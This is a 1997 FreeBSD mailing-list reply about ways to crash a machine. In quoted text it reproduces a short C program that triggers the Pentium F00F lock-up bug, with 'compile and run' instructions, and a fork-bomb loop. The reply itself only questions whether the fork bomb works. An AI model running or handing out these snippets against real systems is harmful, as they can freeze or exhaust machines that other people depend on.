Date: Mon, 10 Nov 1997 08:45:54 -0500 (EST) From: Thomas David Rivers <rivers@dignus.com> To: freebsd-questions@freebsd.org, sporkl@dti.net Subject: Re: Crashing FreeBSD Message-ID: <199711101345.IAA10117@lakes.dignus.com>
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> Well, there are other ways too.
>
> 1. Toggle power really fast
> 2. write a "forkbomb":
> #include <stdio.h>
>
> main() {
>
> for(;;) {fork();}
> }
>
> I am sure there are other ways.
I'm pretty sure a 'forkbomb' will not crash FreeBSD. Did you
try it :-)
- Dave Rivers -
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> -Spike Gronim
> sporkl@dti.net
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> "Tradition is the chastity belt of the mind"
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>
> On Sun, 9 Nov 1997, Michael Richards wrote:
>
> > Well folks, it looks like anyone can crash a FreeBSD box. I am told that
> > this is a bug in the pentium processor. Compile and run, it will crash the
> > machine right away...
> >
> > Very simple:
> >
> >
> > char x [5] = { 0xf0, 0x0f, 0xc7, 0xc8 };
> >
> > main () {
> > void (*f)() = x;
> > f();
> > }
> >
> >
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